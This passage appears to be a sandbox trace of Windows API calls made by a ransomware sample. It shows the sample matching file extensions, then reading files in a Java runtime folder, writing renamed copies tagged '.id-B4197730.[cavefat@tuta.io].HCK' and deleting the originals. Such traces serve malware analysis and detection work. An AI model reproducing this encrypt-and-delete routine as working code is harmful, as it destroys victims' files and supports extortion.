(lpString=".docx") returned 5 [0225.584] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0225.584] lstrlenW (lpString=".pdf") returned 4 [0225.584] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0225.584] lstrlenW (lpString=".xls") returned 4 [0225.584] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0225.584] lstrlenW (lpString=".xlsx") returned 5 [0225.584] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0225.584] lstrlenW (lpString=".ppt") returned 4 [0225.584] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0225.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.584] lstrlenW (lpString=".zip") returned 4 [0225.584] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0225.584] lstrlenW (lpString=".rar") returned 4 [0225.584] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0225.584] lstrlenW (lpString=".bz2") returned 4 [0225.584] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0225.584] lstrlenW (lpString=".7z") returned 3 [0225.584] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0225.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.585] lstrlenW (lpString=".dbf") returned 4 [0225.585] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0225.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.585] lstrlenW (lpString=".1cd") returned 4 [0225.585] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0225.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.585] lstrlenW (lpString=".jpg") returned 4 [0225.585] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0225.585] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".HCK") returned -1 [0225.585] lstrlenW (lpString="classlist") returned 9 [0225.585] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0225.586] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=84355) returned 1 [0225.586] CloseHandle (hObject=0x448) returned 1 [0225.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0225.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.586] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0225.587] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.587] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.587] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0225.587] GetLastError () returned 0x0 [0225.587] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x14983, lpOverlapped=0x0) returned 1 [0225.590] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x14990, lpOverlapped=0x0) returned 1 [0225.839] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.840] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xe6, lpOverlapped=0x0) returned 1 [0225.840] SetEndOfFile (hFile=0x438) returned 1 [0226.106] CloseHandle (hObject=0x438) returned 1 [0226.106] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.106] SetEndOfFile (hFile=0x448) returned 1 [0226.111] CloseHandle (hObject=0x448) returned 1 [0226.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.112] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1 [0226.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.113] lstrlenW (lpString=".doc") returned 4 [0226.113] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0226.113] lstrlenW (lpString=".docx") returned 5 [0226.113] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0226.113] lstrlenW (lpString=".pdf") returned 4 [0226.113] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0226.113] lstrlenW (lpString=".xls") returned 4 [0226.113] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0226.113] lstrlenW (lpString=".xlsx") returned 5 [0226.113] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0226.113] lstrlenW (lpString=".ppt") returned 4 [0226.113] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0226.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.113] lstrlenW (lpString=".zip") returned 4 [0226.113] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0226.113] lstrlenW (lpString=".rar") returned 4 [0226.113] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0226.113] lstrlenW (lpString=".bz2") returned 4 [0226.113] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0226.113] lstrlenW (lpString=".7z") returned 3 [0226.113] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0226.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.113] lstrlenW (lpString=".dbf") returned 4 [0226.113] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0226.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.113] lstrlenW (lpString=".1cd") returned 4 [0226.113] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0226.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.113] lstrlenW (lpString=".jpg") returned 4 [0226.113] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0226.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.113] lstrlenW (lpString=".doc") returned 4 [0226.113] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0226.113] lstrlenW (lpString=".docx") returned 5 [0226.113] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0226.113] lstrlenW (lpString=".pdf") returned 4 [0226.113] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0226.113] lstrlenW (lpString=".xls") returned 4 [0226.113] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0226.113] lstrlenW (lpString=".xlsx") returned 5 [0226.113] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0226.113] lstrlenW (lpString=".ppt") returned 4 [0226.113] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0226.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.113] lstrlenW (lpString=".zip") returned 4 [0226.113] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0226.113] lstrlenW (lpString=".rar") returned 4 [0226.113] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0226.113] lstrlenW (lpString=".bz2") returned 4 [0226.113] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0226.114] lstrlenW (lpString=".7z") returned 3 [0226.114] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0226.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.114] lstrlenW (lpString=".dbf") returned 4 [0226.114] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0226.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.114] lstrlenW (lpString=".1cd") returned 4 [0226.114] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0226.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0226.114] lstrlenW (lpString=".jpg") returned 4 [0226.114] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0226.114] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0226.114] lstrlenW (lpString="messages_it.properties") returned 22 [0226.114] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.114] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3223) returned 1 [0226.115] CloseHandle (hObject=0x448) returned 1 [0226.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0226.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.115] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.115] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.116] GetLastError () returned 0x0 [0226.116] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xc97, lpOverlapped=0x0) returned 1 [0226.117] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xca0, lpOverlapped=0x0) returned 1 [0226.118] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.118] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x100, lpOverlapped=0x0) returned 1 [0226.118] SetEndOfFile (hFile=0x438) returned 1 [0226.118] CloseHandle (hObject=0x438) returned 1 [0226.118] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.118] SetEndOfFile (hFile=0x448) returned 1 [0226.120] CloseHandle (hObject=0x448) returned 1 [0226.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.120] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1 [0226.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.121] lstrlenW (lpString=".doc") returned 4 [0226.121] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.121] lstrlenW (lpString=".docx") returned 5 [0226.121] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.121] lstrlenW (lpString=".pdf") returned 4 [0226.121] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.121] lstrlenW (lpString=".xls") returned 4 [0226.121] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.121] lstrlenW (lpString=".xlsx") returned 5 [0226.121] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.121] lstrlenW (lpString=".ppt") returned 4 [0226.121] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.121] lstrlenW (lpString=".zip") returned 4 [0226.121] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.121] lstrlenW (lpString=".rar") returned 4 [0226.121] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.121] lstrlenW (lpString=".bz2") returned 4 [0226.121] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.121] lstrlenW (lpString=".7z") returned 3 [0226.121] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.121] lstrlenW (lpString=".dbf") returned 4 [0226.121] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.121] lstrlenW (lpString=".1cd") returned 4 [0226.121] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.122] lstrlenW (lpString=".jpg") returned 4 [0226.122] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.122] lstrlenW (lpString=".doc") returned 4 [0226.122] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.122] lstrlenW (lpString=".docx") returned 5 [0226.122] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.122] lstrlenW (lpString=".pdf") returned 4 [0226.122] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.122] lstrlenW (lpString=".xls") returned 4 [0226.122] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.122] lstrlenW (lpString=".xlsx") returned 5 [0226.122] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.122] lstrlenW (lpString=".ppt") returned 4 [0226.122] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.122] lstrlenW (lpString=".zip") returned 4 [0226.122] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.122] lstrlenW (lpString=".rar") returned 4 [0226.122] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.122] lstrlenW (lpString=".bz2") returned 4 [0226.122] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.122] lstrlenW (lpString=".7z") returned 3 [0226.122] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.122] lstrlenW (lpString=".dbf") returned 4 [0226.122] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.122] lstrlenW (lpString=".1cd") returned 4 [0226.122] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0226.122] lstrlenW (lpString=".jpg") returned 4 [0226.122] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.122] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0226.122] lstrlenW (lpString="messages_ja.properties") returned 22 [0226.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.123] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6349) returned 1 [0226.123] CloseHandle (hObject=0x448) returned 1 [0226.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0226.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.124] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.124] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.124] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.124] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.124] GetLastError () returned 0x0 [0226.124] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x18cd, lpOverlapped=0x0) returned 1 [0226.126] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0226.127] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.127] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x100, lpOverlapped=0x0) returned 1 [0226.127] SetEndOfFile (hFile=0x438) returned 1 [0226.127] CloseHandle (hObject=0x438) returned 1 [0226.127] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.127] SetEndOfFile (hFile=0x448) returned 1 [0226.130] CloseHandle (hObject=0x448) returned 1 [0226.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.130] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1 [0226.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.131] lstrlenW (lpString=".doc") returned 4 [0226.131] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString=".docx") returned 5 [0226.131] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.131] lstrlenW (lpString=".pdf") returned 4 [0226.131] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString=".xls") returned 4 [0226.131] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString=".xlsx") returned 5 [0226.131] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.131] lstrlenW (lpString=".ppt") returned 4 [0226.131] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.131] lstrlenW (lpString=".zip") returned 4 [0226.131] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString=".rar") returned 4 [0226.131] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString=".bz2") returned 4 [0226.131] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString=".7z") returned 3 [0226.131] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.131] lstrlenW (lpString=".dbf") returned 4 [0226.131] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.131] lstrlenW (lpString=".1cd") returned 4 [0226.131] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.131] lstrlenW (lpString=".jpg") returned 4 [0226.131] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.131] lstrlenW (lpString=".doc") returned 4 [0226.131] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString=".docx") returned 5 [0226.131] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.131] lstrlenW (lpString=".pdf") returned 4 [0226.131] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString=".xls") returned 4 [0226.131] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString=".xlsx") returned 5 [0226.131] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.131] lstrlenW (lpString=".ppt") returned 4 [0226.131] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.131] lstrlenW (lpString=".zip") returned 4 [0226.131] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.131] lstrlenW (lpString=".rar") returned 4 [0226.131] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.132] lstrlenW (lpString=".bz2") returned 4 [0226.132] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.132] lstrlenW (lpString=".7z") returned 3 [0226.132] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.132] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.132] lstrlenW (lpString=".dbf") returned 4 [0226.132] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.132] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.132] lstrlenW (lpString=".1cd") returned 4 [0226.132] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.132] lstrlenW 